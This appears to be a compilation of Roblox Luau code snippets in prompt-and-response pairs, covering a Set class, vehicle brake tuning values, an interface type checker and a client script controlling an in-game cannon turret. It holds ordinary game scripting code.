		error("callback is not a function")
	end

	-- note: we can't turn this into a simple for-in loop, because the callbacks can modify the table and React, GQL, and Jest rely on JS behavior in that scenario
	arrayForEach(self._array, function(value)
		if thisArg ~= nil then
			(callback :: setCallbackFnWithThisArg<any>)(thisArg, value, value, self)
		else
			(callback :: setCallbackFn<any>)(value, value, self)
		end
	end)
end

function Set:has(value): boolean
	return self._map[value] ~= nil
end

function Set:ipairs()
	if __DEV__ then
		warn(
			debug.traceback(
				"`for _,_ in mySet:ipairs() do` is deprecated and will be removed in a future release, please use `for _,_ in mySet do` instead\n",
				2
			)
		)
	end
	return ipairs(self._array)
end

return Set


Prompt:
--[[TODO:
- Change Walk, Jump and Run animations
- Add Sliding
]]


Prompt: --[[Brakes]]

Response:
	Tune.ABSEnabled		= true		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS)

	Tune.FBrakeForce	= 3000		-- Front brake force
	Tune.RBrakeForce	= 2500		-- Rear brake force
	Tune.PBrakeForce	= 13000		-- Handbrake force

	Tune.FLgcyBForce	= 41000		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 36000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 150000    -- Handbrake force [PGS OFF]


Prompt:
--[[**
		ensures value matches given interface definition

		@param checkTable The interface definition

		@returns A function that will return true iff the condition is passed
	**--]]

Response:
	function t.interface(checkTable)
		assert(checkInterface(checkTable))
		return function(value)
			local tableSuccess, tableErrMsg = t.table(value)
			if tableSuccess == false then
				return false, tableErrMsg or ""
			end

			for key, check in pairs(checkTable) do
				local success, errMsg = check(value[key])
				if success == false then
					return false, string.format("[interface] bad value for %s:\n\t%s", tostring(key), errMsg or "")
				end
			end

			return true
		end
	end


Prompt: --// Connections

Response:
IB:connect(function(input, chat)
	if not chat then
		if input.KeyCode == Settings.FireCannonKey then
			if not CannonReload then
				CannonReload = true

				Storage.FireCannon:FireServer(System.Gun.Missile, SettingsS, ExplosiveMissileScript, SmokeMissileScript, HeatMissileScript, System, ShellType)

				wait(Settings.CannonReload)

				CannonReload = false
			end
		elseif input.KeyCode == Settings.RotateSystemLeftKey then
			if not RotRightKeyDown then
				RotLeftKeyDown = true

				Storage.Sound:FireServer(Seat.Swiv, true)
				while true do
					if RotLeftKeyDown then
						wait(Settings.SystemTurnRate)
						Degrees = Degrees + 1
						Storage.RotateSystem:FireServer(Servo, Degrees)
					else
						Storage.Sound:FireServer(Seat.Swiv, false)
						break
					end
				end
			end
		elseif input.KeyCode == Settings.RotateSystemRightKey then
			if not RotLeftKeyDown then
				RotRightKeyDown = true
				Storage.Sound:FireServer(Seat.Swiv, true)

				while true do
					if RotRightKeyDown then
						wait(Settings.SystemTurnRate)
						Degrees = Degrees - 1

						Storage.RotateSystem:FireServer(Servo, Degrees)
					else
						Storage.Sound:FireServer(Seat.Swiv, false)

						break
					end
				end
			end
		elseif input.KeyCode == Settings.IncreaseAltKey then
			if not DecreaseAltKeyDown then
				IncreaseAltKeyDown = true
				Storage.Sound:FireServer(Seat.VertSound, true)

				while true do
					if IncreaseAltKeyDown then
						if Degrees2 >= MaxUp then
							IncreaseAltKeyDown = false
							Storage.Sound:FireServer(Seat.VertSound, false)

							break
						else
							wait(Settings.GunMoveRate)

							Degrees2 = Degrees2 + 1

							Storage.RotateGun:FireServer(Servo2, Degrees2)
						end
					else
						Storage.Sound:FireServer(Seat.VertSound, false)

						break
					end
				end
			end
		elseif input.KeyCode == Settings.DecreaseAltKey then
			if not IncreaseAltKeyDown then
				DecreaseAltKeyDown = true
				Storage.Sound:FireServer(Seat.VertSound, true)

				while true do
					if DecreaseAltKeyDown then
						if Degrees2 <= MaxDown then
							DecreaseAltKeyDown = false

							Storage.Sound:FireServer(Seat.VertSound, false)
							break
						else
							wait(Settings.GunMoveRate)

							Degrees2 = Degrees2 - 1

							Storage.RotateGun:FireServer(Servo2, Degrees2)
						end
					else
						Storage.Sound:FireServer(Seat.VertSound, false)

						break
					end
				end
			end
		elseif input.KeyCode == Settings.AimKey then
			if not Aiming then
				Aiming = true
				AttackMode(true)
			else
				Aiming = false
				AttackMode(false)
			end
		elseif input.KeyCode == Settings.SmokeKey then
			Current.Text = "SELECTED: Smoke"
			ShellType = "Smoke"
		elseif input.KeyCode == Settings.ExplosKey then
			Current.Text = "SELECTED: Explosive"
			ShellType = "Explosive"
		elseif input.KeyCode == Settings.HeatKey then
			Current.Text = "SELECTED: HEAT"
			ShellType = "Heat"
		end
	end
end)

IE:connect(function(input, chat)
	if not chat then
		if input.KeyCode == Settings.RotateSystemRightKey then
			RotRightKeyDown = false
		elseif input.KeyCode == Settings.RotateSystemLeftKey then
			RotLeftKeyDown = false
		elseif input.KeyCode == Settings.DecreaseAltKey then
			DecreaseAltKeyDown = false
		elseif input.KeyCode == Settings.IncreaseAltKey then
			IncreaseAltKeyDown = false
		end
	end
end)

SmokeB.MouseButton1Down:connect(function()
	Current.Text = "SELECTED: Smoke"
	ShellType = "Smoke"
end)

ExploB.MouseButton1Down:connect(function()
	Current.Text = "SELECTED: Explosive"
	ShellType = "Explosive"
end)

HeatB.MouseButton1Down:connect(function()
	Current.Text = "SELECTED: HEAT"
	ShellType = "Heat"
end)

JR:connect(function()
	UIS.MouseIconEnabled = true
	MainGUI:Destroy()
	script:Destroy()
end)

RST:connect(function()
	if Aiming then
		cam.CFrame = System.Gun.AimPart.CFrame
	end
end)